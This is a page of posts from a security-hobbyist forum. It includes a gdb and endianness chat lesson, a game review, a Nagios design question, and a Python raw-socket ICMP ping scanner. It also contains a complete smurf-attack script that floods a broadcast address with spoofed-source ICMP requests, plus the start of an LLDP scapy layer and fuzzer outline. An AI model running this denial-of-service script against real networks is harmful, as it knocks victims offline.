<Factionwars> x/1xw takes the pointer out of the object you give to it and looks at the value of that pointer. So x/ will only work if you give it a pointer to a pointer, where EBX holding a pointer is valid becaues it will first look at ebx, then at the pointer, then at the value of the pointer.
<rba_work> ok.. good explanation.. I think I understand that now. So basically if ebx holds a pointer.. print/x should print the value the pointer points to, right?
<Factionwars> The other way around
<Factionwars> print/x will give you the value of EBX
<rba_work> (gdb) print/x $ebx
<rba_work> $1 = 0xb7e354d3
<Factionwars> x/ will give you the value where EBX points to
<Factionwars> do print/x and compare the value with "info registers"
<rba_work> they are the same
<Factionwars> :)
<Factionwars> And x/ ?
<Factionwars> Compare x/1xw $ebx and print/x 0xb7e354d3
<Factionwars> owh no
<Factionwars> uh
<Factionwars> x/1x 0xb7e354d3
<rba_work> (gdb) x/1xw $ebx
<rba_work> 0xb7e354d3 <__libc_start_main+243>:     0xe8240489
<rba_work> (gdb) x/1x 0xb7e354d3
<rba_work> 0xb7e354d3 <__libc_start_main+243>:     0xe8240489
<rba_work> always the same
<Factionwars> yah
<rba_work> guess I don't get it :( ebx is a pointer to 0xb7e354d3 which holds 0xe8240489 ?
<Factionwars> ebx is a register. And you need to treat it differently in gdb
<Factionwars> meh
<Factionwars> morning
<rba_work> treat it differently?
<rba_work> hey.. I can do that to to dereference it x/1xw (*$ebx)


Quote
<rba_work> Factionwars: ? Mind giving me another hint? I still don't get it. No matter what I do I can't locate the values. I even stopped before the first argument gets popped and x esp but I always get the same.
<Factionwars> Why are you so certain you have the good values?
<Factionwars> Maybe you are fucking a return adress
<Factionwars> or some other crap
<Factionwars> How have you located it ?
<Factionwars> First find the number of arguments on the stack
<Factionwars> so give 1 1 1 1 1 as a argument. Then locate 0x05 on the stack by doing x/30xb $esp
<rba_work> Yes.. I have done that before. its at esp+4 and it is 0x06
<rba_work> its the only one of the three values I can find.. lol
<rba_work> or more values in that case
<Factionwars> Well
<Factionwars> If you read a byte from it and it is the argument size, then the next 4 bytes are the first char pointer
<Factionwars> Should i try it ?
<Factionwars> rba_work,


Code: [Select]
(gdb) x/50xb $esp
0xffffd8f0:    0x06    0x00    0x00    0x00    0x88    0xda    0xff    0xff
0xffffd8f8:    0xb7    0xda    0xff    0xff    0xb9    0xda    0xff    0xff
0xffffd900:    0xbb    0xda    0xff    0xff    0xbd    0xda    0xff    0xff
0xffffd908:    0xbf    0xda    0xff    0xff    0x00    0x00    0x00    0x00
0xffffd910:    0xc1    0xda    0xff    0xff    0xcc    0xda    0xff    0xff
0xffffd918:    0xdd    0xda    0xff    0xff    0xef    0xda    0xff    0xff
0xffffd920:    0x24    0xdb
(gdb) x/20xw $esp
0xffffd8f0:    0x00000006    0xffffda88    0xffffdab7    0xffffdab9
0xffffd900:    0xffffdabb    0xffffdabd    0xffffdabf    0x00000000
0xffffd910:    0xffffdac1    0xffffdacc    0xffffdadd    0xffffdaef
0xffffd920:    0xffffdb24    0xffffdb35    0xffffdb4c    0xffffdb5c
0xffffd930:    0xffffdb67    0xffffdb7f    0xffffdb91    0xffffdbc5
(gdb) x/20xw $esp
0xffffd8f0:    0x00000006    0xffffda88    0xffffdab7    0xffffdab9
0xffffd900:    0xffffdabb    0xffffdabd    0xffffdabf    0x00000000
0xffffd910:    0xffffdac1    0xffffdacc    0xffffdadd    0xffffdaef
0xffffd920:    0xffffdb24    0xffffdb35    0xffffdb4c    0xffffdb5c
0xffffd930:    0xffffdb67    0xffffdb7f    0xffffdb91    0xffffdbc5
(gdb) x/s 0xffffda88
0xffffda88:    "/home/factionwars/Programming/c-research/a.out"
(gdb) x/s 0xffffdab7
0xffffdab7:    "a"

Quote
<Factionwars> Works great in _start
<rba_work> wut.. wait.. how did you do that.. let me try to understand it.. sec
<Factionwars> break _start
<Factionwars> r a a a a a
<Factionwars> x/20xw $esp
<Factionwars> first is the number of arguments
<Factionwars> OH
<Factionwars> rba_work,
<Factionwars> rba_work,
<Factionwars> do you have some time
<Factionwars> I see a lesson in this

0x03 The Endians

Quote
<Factionwars> 0x06 0x00 0x00 0x00 0x88 0xda 0xff 0xff AND 0x00000006 0xffffda88 0xffffdab7 0xffffdab9 are different
<rba_work> sure :) I may get interrupted for 20 min. but we can do it :)
<Factionwars> Do you see it?
<Factionwars> But in real they are the same
<Factionwars> How is that possible?
<rba_work> yes.. they are in reverse order. but I have no clue why.. lol
<Factionwars> e
<Factionwars> n
<Factionwars> d
<Factionwars> i
<Factionwars> an
<Factionwars> :D
<Factionwars> Ever heard of endiannes?
<Factionwars> big-endian, small-endian
<rba_work> yes.. heard it during network stuff.. one of it is also called network byte order.. but I can't remember which one. should be small-endian
<Factionwars> Big-endian :)
<Factionwars> Well, different cpu architechtures use different endianness.
<rba_work> really.. 128 64 32 16 8 4 2 1 is big endian?
<Factionwars> Yes :)
<Factionwars> Well
<Factionwars> Endianness is about how the bytes are ordered
<rba_work> ah.. if the biggest value is at the end its big-ENDian :)
<Factionwars> Actually at the beginning
<Factionwars>  0xffffda88
<Factionwars> while it was stored like  0x88 0xda 0xff 0xff
<Factionwars> You don't need to fully get it, just always take this into consider and know that you will have to switch some bytes around
<Factionwars> And look at it on byte level
<Factionwars> Man that was a horrid lesson
<rba_work> :P that was a good one.. not to much to overload my brain.. lol

6
Game Hacking, Modding & Discussing / Outlast - mini-review
« on: September 09, 2013, 04:12:25 pm »
Hi,

as this board turns out to be a "review of games" board I would like to share my thoughts about a game a recently stumbled across :) As some may know I am a big fan of horror movies and games. I have played a lot of these games in the past but this time I found something that is really able to scare me. If you like those kind of games and you can enjoy it to be scared you should give outlast a try. You take the role of a reporter called Miles Upshur. The game is in a FPS perspective but you can not fight. You don't have weapons, the only thing you got is a camera with night vision. The target of the game is to find out what happend in Mount Massive Asylum. The whole atmosphere of the game is dark and horrifying. Go for it and let me know what you think :)

Trailer: http://www.youtube.com/watch?v=F80Wv66GYSs

Cheers,
RBA 

7
Tutorials / [Tutorial] Basic network discovery
« on: March 16, 2013, 08:51:30 am »
Hi,

couple of days ago I had some free time on my hands and wrote a tutorial about the basics of 'how to discover an unknown network'. Guess for the majority of you it won't provide much new information but I think it shows a good way to accomplish this task. As I am not native engl. Daemon offered to do the editing on the text I wrote and he really did an awesome job. Many, many thanks for that, bro. I owe you :)
As this Tutorial is a bit long (and cause I am lazy sometimes) I made a pdf out of it instead copy and pasting it here. So you can take it with you to have an offline reference :)

Please tell me what you think and if you have the feeling that something important is missing (this is mainly directed to our networking guys like m0rph, Snayler, Mordred - just to name a few).

Hope you enjoy reading it

Cheers,
RBA

8
Operating System / Nagios monitoring environment
« on: March 06, 2013, 03:16:33 pm »
Hi all,

at work I am using two debian machines running nagios in a failover configuration to monitor critical services/hosts. At the moment we are working on a separated environment for production related machines (SPS, machine control... ). As this is a separated environment and I don't want to open a lot of ports on the firewall between the office and the production infrastructure I was looking for a different monitoring setup. Added to this the nagios servers have a very high load (monitoring 300 hosts with 7590 services) I also want to make some kind of distributed monitoring. After some researching I created the following design and I just wanted to know if some of you guys worked with nagios and can give me some additional ideas? What do you think about the concept?



9
Projects and Discussion / Evilzone book???
« on: February 26, 2013, 11:39:29 am »
Hi all,

not sure if this is a general discussion or a project discussion. If you think it would fit better somewhere else feel free to move it :)

lately I have been writing on a document and I managed to finish it today. Daemon was so kind to offer his help and do proof-reading and improvements on the texts (as soon as he finished his work I will publish it).
As I started creating a second one today I thought: 'why not make this a community project where everybody can submit articles of any kind'. I would offer to do the organization of the book and for sure write more 'chapters' for it. Evilzone has experts on nearly any IT and security related topic. So why not collect out knowledge in a book? We could also integrate already existing articles (lucid's art of anonymity or daemons basic forensics with wireshark) into it. As not everybody is native engl. I think (haven't asked him but I am sure he will as far as he has time for it) Daemon would maybe be willing to do the text-editing.
We could make an ebook out of it which is available for free and maybe a printed paper-back version for the coming evilzone shop.

I would really like to hear what you guys think about the idea and if you are willing to contribute. Any additional ideas would be highly appreciated.

Cheers,
RBA

10
Scripting Languages / [Python] ICMP Scan / Smurf attack
« on: January 15, 2013, 04:26:46 pm »
Hi,

recently I decided to start a new project in python using only standard libraries. for now I am not really sure what the project is going to be but for sure (think you already knew) its going to be something network related. First thing I wanted to learn was how to use pythons sockets, especially the raw sockets, to send raw packets. For learning purposes I created the following script which sends icmp echo requests to a specified range of hosts and waits for an icmp echo reply. It can be used to find "alive" (online) hosts on a network. I know the function for calculating the number of hosts and the function to create a list of hosts could have been done better. But as I wanted to learn the usage of raw sockets I didn't care to much.

icmpscan.py
Code: (python) [Select]
import sys, socket, select

#function to create raw ICMP echo request packet
def CreateICMPRequest():
    packet  = b''
    packet += b'\x08'                        #ICMP Type:8 (icmp echo request)
    packet += b'\x00'                        #Code 0 (no code)
    packet += b'\xbd\xcb'                    #Checksum
    packet += b'\x16\x4f'                    #Identifier (big endian representation)
    packet += b'\x00\x01'                    #Sequence number (big endian representation)
    packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'                #Data (56 bytes)
    return packet
   
#function to return number of hosts in a given subnet
def NumberOfHosts(subnet):
    if "." in subnet:   
        subnetlist = subnet.split(".")
        for subnetpart in subnetlist:
            subnetlist[subnetlist.index(subnetpart)] = bin(int(subnetpart)).replace("0b","")
        cidr = str(subnetlist).count("1")
        if (int(cidr) == 32) or (int(cidr) == 31):   
            hostsCount = 2**(32-int(cidr))
        else:
            hostsCount = 2**(32-int(cidr))-2
    else:
        if (int(subnet) == 32) or (int(subnet) == 31):
            hostsCount = 2**(32-int(subnet))
        else:
            hostsCount = 2**(32-int(subnet))-2
    return hostsCount

#function to generate a list with all hosts in the given subnet
def ListHosts(ip, hostsCount):
    counter = 1
    hosts = []
    octs = ip.split('.')
    if hostsCount == 1:
        hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
    elif hostsCount == 2:
        hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
        hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])+1))
    else:
        while (counter <= hostsCount):                   
            if int(octs[3]) != 256:
                octs[3] = int(octs[3])+1
            if (int(octs[3]) == 256) and (int(octs[2]) != 255):
                octs[2] = int(octs[2])+1
                octs[3], hostpart = 0, 0
            if (int(octs[2]) == 255) and (int(octs[1]) != 255):
                octs[1] = int(octs[1])+1
                octs[2], octs[3], hostpart = 0, 0, 0
            if (int(octs[1]) == 255) and (int(octs[0]) != 255):
                octs[0] = int(octs[0])+1
                octs[1], octs[2], octs[3], hostpart  = 0, 0, 0, 0
            hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
            counter = int(counter)+1
    return hosts

#start sending icmp echo requests and list received icmp echo responds   
def pingscan(values):
    hostsCount = None
    if ("-t" in values):
        timeout = float(values[values.index('-t')+1])/float(1000)
        values.pop(values.index('-t')+1)           
        values.pop(values.index('-t'))
    else:
        timeout = 0.01

    if (len(values) == 3) and ("." in values[2]):
        hostsCount = NumberOfHosts(values[2])
    elif (len(values) == 2) and ("/" in values[1]):
        CIDR = values[1][-3]+values[1][-2]+values[1][-1]
        values = [values[1].replace(CIDR,""), CIDR.replace("/","")]           
        hostsCount = NumberOfHosts(values[1])
    else:
        help_pingscan()
        sys.exit(0)
               
    if hostsCount is not None:       
        print "Checking if %d hosts are alive via icmp with a timeout of %f sec" % (hostsCount, timeout)
           
        #create list with all hosts in the given subnet
        hosts = ListHosts(values[1], hostsCount)

        #create socket to send and receive icmp packets
        for host in hosts:           
            try:       
                icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
                icmpsocket.bind(('', 1))
                icmpsocket.setblocking(0)
            except socket.error:
                print "You need to be root!"
                sys.exit(0)

            #send icmp echo request to all hosts in the hosts list
            icmpsocket.connect((host, 1))
            icmpsocket.send(CreateICMPRequest())
           
            #receive icmp echo reply packets
            ready = select.select([icmpsocket], [], [], timeout)               
            if ready[0]:               
                try :
                    data = icmpsocket.recv(1024)
                    header = data[:20]
                    ip = header[-8:-4]
                    source = '%i.%i.%i.%i' % (ord(ip[0]), ord(ip[1]), ord(ip[2]), ord(ip[3]))
                       print '%s seems to be alive' % source
                except KeyboardInterrupt :
                    print 'Keyboard Interrupt'
                    icmpsocket.close()
            icmpsocket.close()
           
#icmp scan usage information           
def help_pingscan():
    print "Usage: icmpscan IP subnet (e.g. 10.10.10.0 255.255.255.0) or IP/CIDR (e.g. 10.10.10.0/24)"
    print "-t: \t set timeout for receiving socket (default is 10ms)"
   
if __name__=="__main__":
    values = sys.argv
    pingscan(values)

Would be interesting to hear some thoughts from all you pro-python-devs :)

as this was pretty simple and done in no time I wanted to create something else using the raw ICMP packet. The next script performs a smurf attack. Funny name.. want to know what it is? http://en.wikipedia.org/wiki/Smurf_attack

smurfattack.py
Code: (python) [Select]
import sys, socket

def IPHeader(source, destination, proto):
    packet  = b''   
    packet += b'\x45'                        #Version (IPv4) + Internet Protocol header length
    packet += b'\x00'                        #no quality of service
    packet += b'\x00\x54'                       #Total frame length
    packet += b'\x23\x2c'                    #Id of this packet
    packet += b'\x40'                        #Flags (Don't Fragment)
    packet += b'\x00'                        #Fragment offset: 0
    packet += b'\x40'                        #Time to live: 64
    packet += proto                            #Protocol: ICMP (1)
    packet += b'\x0a\x0a'                    #Checksum (python does the work for us)
    packet += socket.inet_aton(source)          #Set source IP to the supplied one
    packet += socket.inet_aton(destination)    #Set destination IP to the supplied one
    return packet
   
def CreateICMPRequest():
    packet  = b''
    packet += b'\x08'                        #ICMP Type:8 (icmp echo request)
    packet += b'\x00'                        #Code 0 (no code)
    packet += b'\xbd\xcb'                    #Checksum
    packet += b'\x16\x4f'                    #Identifier (big endian representation)
    packet += b'\x00\x01'                    #Sequence number (big endian representation)
    packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'                #Data (56 bytes)
    return packet

def smurfattack(values):
    try:       
        icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        icmpsocket.bind(('', 1))
        icmpsocket.setblocking(0)
        icmpsocket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        icmpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    except socket.error:
        print "You need to be root!"
        sys.exit(0)

    #send icmp echo request to supplied destination address with spoofed source address
    try:       
        icmpsocket.connect((values[2], 1))
        counter = 1
        print "sending %d icmp echo requests to %s with %s as source" % (int(values[3]), values[2], values[1])
        try:           
            while (counter <= int(values[3])):
                icmpsocket.send(str(IPHeader(values[1], values[2], proto = b'\x01')) + str(CreateICMPRequest()))
                counter = int(counter)+1
        except KeyboardInterrupt :
                print 'Keyboard Interrupt'
                icmpsocket.close()           
        icmpsocket.close
    except IndexError:
        help_smurfattack()
        sys.exit(0)

def help_smurfattack():
    print "Usage: smurfattack <source IP> <broadcast address> <number of requests> (e.g. 10.10.10.5 10.10.10.255 100)"
       
if __name__=="__main__":
    values = sys.argv
    smurfattack(values)

Hope this shows how to use raw sockets in python and I would be very happy if someone can give me some hints on what can be done better.

Btw. Windows and linux need administrator/root permissions for creating the raw icmp socket.

Thanks in advance!
Cheers,
RBA

11
Hi,

EDIT: As it was requested lately I added a download link to both files and I locked the topic. I did that a long time ago and I never used the code again. I hope it still works. If you want to use it and it does not work feel free to pm me and I will see what I can do.

Download here

first of all I am not sure if this is the right section for it. If it does not fit here feel free to move it :)

lately I decided to play around with the LLDP (Link Layer Discovery Protocol) Protocol. This is basically my own documentation I made during my testing. There is not much explanation in this post but I hope you will enjoy reading it.

If you don't know what LLDP is and what it is used for you can have a look at the following link. You can also find some sample capture files on this site.
http://wiki.wireshark.org/LinkLayerDiscoveryProtocol

Contents
1 Create LLDP Layer in scapy
1.1 Define TLVs
1.2 Define TLVs
1.3 Define Type 1 -> Chassis ID
1.4 Define Type 2 -> Port ID
1.5 Define Type 3 -> TTL
1.6 Define Type 4 -> Port Description
1.7 Define Type 5 -> System Name
1.8 Define Type 6 -> System Description
1.9 Define Type 7 -> System Capabilities
1.10 Define Type 8 -> Management Address
1.11 Define Type 127 -> Organization Specific
1.12 Define 802.3 Subtypes
1.13 Define 802.1 Subtypes
1.14 Define 802.3 Subtype 1 -> MAC/PHY Configuration/Status
1.15 Define 802.3 Subtype 2 -> Power Via MDI
1.16 Define 802.3 Subtype 3 -> Link Aggregation
1.17 Define 802.3 Subtype 4 -> Maximum Frame Size
1.18 Define 802.1 Subtype 1 -> Port VLAN ID
1.19 Define 802.1 Subtype 2 -> Port and Protocol VLAN ID
1.20 Define 802.1 Subtype 3 -> VLAN Name
1.21 Define 802.1 Subtype 4 -> Protocol Identity
1.22 Define 802.1 Subtype 5 -> VID Usage Digest
1.23 Define 802.1 Subtype 6 -> Management VID
1.24 Define 802.1 Subtype 7 -> Link Aggregation
1.25 The complete Script

2 Python/scapy LLDP Fuzzer
2.1 Test LLDP Neighbor Database flooding against HP
2.2 Chassis ID Payload Overload
2.3 Port Description Payload Overload
2.4 System Description Payload Overload
2.5 Chassis ID TLV with no payload
2.6 Wrong TLV information string length in Chassis ID
2.7 off-by-one error
2.8 LLDP Neighbor Database flooding the second
2.9 End of LLDPDU with two-byte payload
2.10 End of LLDPDU with two-byte payload and correct length
2.11 illegal System Capabilities TLV information string
2.12 missing mandatory TLV
2.13 wrong IP value in Chassis ID TLV

1 Create LLDP Layer in scapy

All information is taken from the official IEEE Paper about LLDP. You can download it here:
Evilzone Download: http://upload.evilzone.org/download.php?id=31748&type=zip
Original Download: http://standards.ieee.org/getieee802/download/802.1AB-2009.pdf

I only provide the pictures for the specific message frame, the available subtypes (as far as they exist) and a short description (all taken from the IEEE document). For more information you can always consult the above provided pdf.

For the scapy implementation you can look things up here:
http://www.secdev.org/projects/scapy/doc/build_dissect.html

Somebody else wrote a LLDP implementation for scapy, too. If you like his work more feel free to use it :)
https://hg.secdev.org/scapy-com/diff/427ec2c30320/scapy/layers/lldp.py

1.1 Define TLVs

802.1AB-2009.pdf - Page 25


Code: (python) [Select]
_LLDP_tlv_cls = {0x00: "LLDPDUEnd",
                 0x01: "LLDPChassisId",
                 0x02: "LLDPPortId",
                 0x03: "LLDPTTL",
                 0x04: "LLDPPortDescription",
                 0x05: "LLDPSystemName",
                 0x06: "LLDPSystemDescription",
                 0x07: "LLDPSystemCapabilities",
                 0x08: "LLDPManagementAddress",
                 0xfe: "LLDPOrganizationalSpecific"}

_LLDP_tlv_types = {0x00: "End of LLDPDU",
                   0x01: "Chassis Id",
                   0x02: "Port Id",
                   0x03: "Time to Live",
                   0x04: "Port Description",
                   0x05: "System Name",
                   0x06: "System Description",
                   0x07: "System Capabilities",
                   0x08: "Management Address",
                   0xfe: "Organization Specific"}

1.2 Define TLVs

Define Type 0 -> End of LLDPDU

802.1AB-2009.pdf - Page 26


Quote from: 802.1AB-2009.pdf - Page 26
The End Of LLDPDU TLV is a 2-octet, all-zero TLV that is used to mark the end of the TLV sequence in LLDPDUs. The format for this TLV is shown in Figure 8-3

Code: (python) [Select]
class LLDPEndOfPdu(LLDPGeneric):
    name = "LLDP End of LLDPDU"
    fields_desc=[BitEnumField("type", 0x00, 7, _LLDP_tlv_types),
    BitField("length", 0x00, 9)]

1.3 Define Type 1 -> Chassis ID

802.1AB-2009.pdf - Page 26


802.1AB-2009.pdf - Page 27


Quote from: 802.1AB-2009.pdf - Page 26
The Chassis ID TLV is a mandatory TLV that identifies the chassis containing the IEEE 802 LAN station associated with the transmitting LLDP agent. There are several ways in which a chassis may be identified and a chassis ID subtype is used to indicate the type of component being referenced by the chassis ID field. Each LLDPDU shall contain one, and only one, Chassis ID TLV and the chassis ID field value

Code: (python) [Select]
_LLDPSubtypesChassisID = {0x00: "Reserved",
              0x01: "Chassis Component",
              0x02: "Interface Alias",
              0x03: "Port Component",
              0x04: "MAC Address",
              0x05: "Network Address",
              0x06: "Interface Name",
              0x07: "Locally Assigned"}

_LLDPSubtypesipfamily = {0x01: "IPv4",
             0x02: "IPv6"}
                 

class LLDPChassisID(LLDPGeneric):
    name = "LLDP Chassis ID"
    fields_desc=[BitEnumField("type", 0x01, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ByteEnumField("subtype", 0x04, _LLDPSubtypesChassisID),
             ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
             ConditionalField(StrLenField("chassisComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
             ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
             ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x03),
              ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x04),
             ConditionalField(ByteEnumField("ipaddrfam", 0x01, _LLDPSubtypesipfamily),lambda pkt: pkt.subtype == 0x05),
             ConditionalField(IP6Field("ipaddr", "2001:0db8:0000:08d3:0000:8a2e:0070:7344"), lambda pkt: pkt.ipaddrfam == 0x02),
             ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.ipaddrfam == 0x01),
             ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
             ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]

1.4 Define Type 2 -> Port ID

802.1AB-2009.pdf - Page 28


802.1AB-2009.pdf - Page 28


Quote from: 802.1AB-2009.pdf - Page 27
The Port ID TLV is a mandatory TLV that identifies the port component of the MSAP identifier associated with the transmitting LLDP agent. As with the chassis, there are several ways in which a port may be identified. A port ID subtype is used to indicate how the port is being referenced in the port ID field. Each LLDPDU shall contain one, and only one, Port ID TLV. The port ID value shall remain constant for all LLDPDUs while the transmitting port remains operational.

Code: (python) [Select]
_LLDPSubtypesPortID = {0x00: "Reserved",
               0x01: "Interface Alias",
               0x02: "Port Component",
               0x03: "MAC Address",
               0x04: "Network Address",
               0x05: "Interface Name",
               0x06: "Agent Circut ID",
               0x07: "Locally Assigned"}

class LLDPPortID(LLDPGeneric):
    name = "LLDP Port ID"
    fields_desc=[BitEnumField("type", 0x02, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ByteEnumField("subtype", 0x04, _LLDPSubtypesPortID),
             ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
             ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
             ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
             ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x03),
             ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.subtype == 0x04),
             ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x05),
             ConditionalField(StrLenField("agentCircutID", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
             ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]

1.5 Define Type 3 -> TTL

802.1AB-2009.pdf - Page 29


Quote from: 802.1AB-2009.pdf - Page 29
The Time To Live TLV indicates the number of seconds that the recipient LLDP agent is to regard the
information associated with this MSAP identifier to be valid.
a) When the TTL field is non-zero the receiving LLDP agent is notified to completely replace all information associated with this MSAP identifier with the information in the received LLDPDU.
b) When the TTL field is set to zero, the receiving LLDP agent is notified to delete all system information associated with the LLDP agent/port. This TLV may be used, for example, to signal that the sending port has initiated a port shutdown procedure.

Code: (python) [Select]
class LLDPTTL(LLDPGeneric):
    name = "LLDP TTL"
    fields_desc=[BitEnumField("type", 0x03, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ShortField("sec", 120)]

1.6 Define Type 4 -> Port Description

802.1AB-2009.pdf - Page 29


Quote from: 802.1AB-2009.pdf - Page 29
The Port Description TLV allows network management to advertise the IEEE 802 LAN station’s port description.

Code: (python) [Select]
class LLDPPortDescription(LLDPGeneric):
    name = "LLDP Port Description"
    fields_desc=[BitEnumField("type", 0x04, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             StrLenField("portDescription", "FastEthernet0/1", length_from=lambda x: x.length - 1)]

1.7 Define Type 5 -> System Name

802.1AB-2009.pdf - Page 30


Quote from: 802.1AB-2009.pdf - Page 30
The System Name TLV allows network management to advertise the system’s assigned name

Code: (python) [Select]
class LLDPSystemName(LLDPGeneric):
    name = "LLDP System Name"
    fields_desc=[BitEnumField("type", 0x05, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             StrLenField("systemName", "Switch", length_from=lambda x: x.length - 1)]

1.8 Define Type 6 -> System Description

802.1AB-2009.pdf - Page 31


Quote from: 802.1AB-2009.pdf - Page 31
The System Description TLV allows network management to advertise the system’s description


Code: (python) [Select]
class LLDPSystemDescription(LLDPGeneric):
    name = "LLDP System Description"
    fields_desc=[BitEnumField("type", 0x06, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             StrLenField("systemDescription", "Firmware Version 7.1", length_from=lambda x: x.length - 1)]

1.9 Define Type 7 -> System Capabilities

802.1AB-2009.pdf - Page 31


802.1AB-2009.pdf - Page 32


Quote from: 802.1AB-2009.pdf - Page 31
The System Capabilities TLV is an optional TLV that identifies the primary function(s) of the system and whether or not these primary functions are enabled.


Code: (python) [Select]
_LLDPCapabilities = {1: "other",
             2: "repeater",
             4: "bridge",
             8: "wlanap",
             16: "router",
             32: "telephone",
             64: "docsiscable",
             128: "stationonly",
             256: "cvlanbridge",
             512: "svlanbridge",
             1024: "tpmr"}
             
class LLDPSystemCapabilities(LLDPGeneric):
    name = "LLDP System Capabilities"
    fields_desc=[BitEnumField("type", 0x07, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             BitEnumField("capabilities", 4, 16, _LLDPCapabilities),
             BitEnumField("enabledCapabilities", 4, 16, _LLDPCapabilities)]

1.10 Define Type 8 -> Management Address

802.1AB-2009.pdf - Page 33


Management Address Subtype:
Quote from: 802.1AB-2009.pdf - Page 32
The management address subtype field shall contain an integer value indicating the type of address that is listed in the management address field. Enumeration for this field is contained in the ianaAddressFamilyNumbers module of the IETF RFC 3232 on-line database that is accessible through a web page (currently, http://www.iana.org). The management address subtype is contained in the first octet of the management address string.

Subtypes from: http://www.iana.org/assignments/ianaaddressfamilynumbers-mib/ianaaddressfamilynumbers-mib
Code: [Select]
The enumerations are described as:

          other(0),    -- none of the following
          ipV4(1),     -- IP Version 4
          ipV6(2),     -- IP Version 6
          nsap(3),     -- NSAP
          hdlc(4),     -- (8-bit multidrop)
          bbn1822(5),
          all802(6),   -- (includes all 802 media
                       --   plus Ethernet 'canonical format')
          e163(7),
          e164(8),     -- (SMDS, Frame Relay, ATM)
          f69(9),      -- (Telex)
          x121(10),    -- (X.25, Frame Relay)
          ipx(11),     -- IPX (Internet Protocol Exchange)
          appleTalk(12),  -- Apple Talk
          decnetIV(13),   -- DEC Net Phase IV
          banyanVines(14),  -- Banyan Vines
          e164withNsap(15),
                       -- (E.164 with NSAP format subaddress)
          dns(16),     -- (Domain Name System)
          distinguishedName(17), -- (Distinguished Name, per X.500)
          asNumber(18), -- (16-bit quantity, per the AS number space)
          xtpOverIpv4(19),  -- XTP over IP version 4
          xtpOverIpv6(20),  -- XTP over IP version 6
          xtpNativeModeXTP(21),  -- XTP native mode XTP
          fibreChannelWWPN(22),  -- Fibre Channel World-Wide Port Name
          fibreChannelWWNN(23),  -- Fibre Channel World-Wide Node Name
          gwid(24),    -- Gateway Identifier
          afi(25),  -- AFI for L2VPN information
          reserved(65535)
Most of them are not common and I haven't implemented them.

Interface Numbering Subtype:
Quote from: 802.1AB-2009.pdf - Page 33
The interface numbering subtype field shall contain an integer value indicating the numbering method used
for defining the interface number. The following three values are currently defined:
1) Unknown
2) ifIndex
3) system port number

TLV Description:
Quote from: 802.1AB-2009.pdf - Page 32
The Management Address TLV identifies an address associated with the local LLDP agent that may be used to reach higher layer entities to assist discovery by network management. The TLV also provides room for the inclusion of both the system interface number and an object identifier (OID) that are associated with this management address, if either or both are known. 


Code: (python) [Select]
_LLDPSubtypesManagementAddress = {0x01: "IPv4",
                  0x02: "IPv6",
                  0x06: "802",
                  0x10: "DNS Name"}
                                 
_LLDPIfSubtypesManagementAddress = {0x01: "Unknown",
                    0x02: "IfIndex",
                           0x03: "System Port Number"}
                                   
class LLDPMgmtAddress(LLDPGeneric):
    name = "LLDP System Capabilities"
    fields_desc=[BitEnumField("type", 0x08, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ByteField("addrLen", None),
             ByteEnumField("addrSubtype", 0x01, _LLDPSubtypesManagementAddress),
             ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt: pkt.addrSubtype == 0x01),
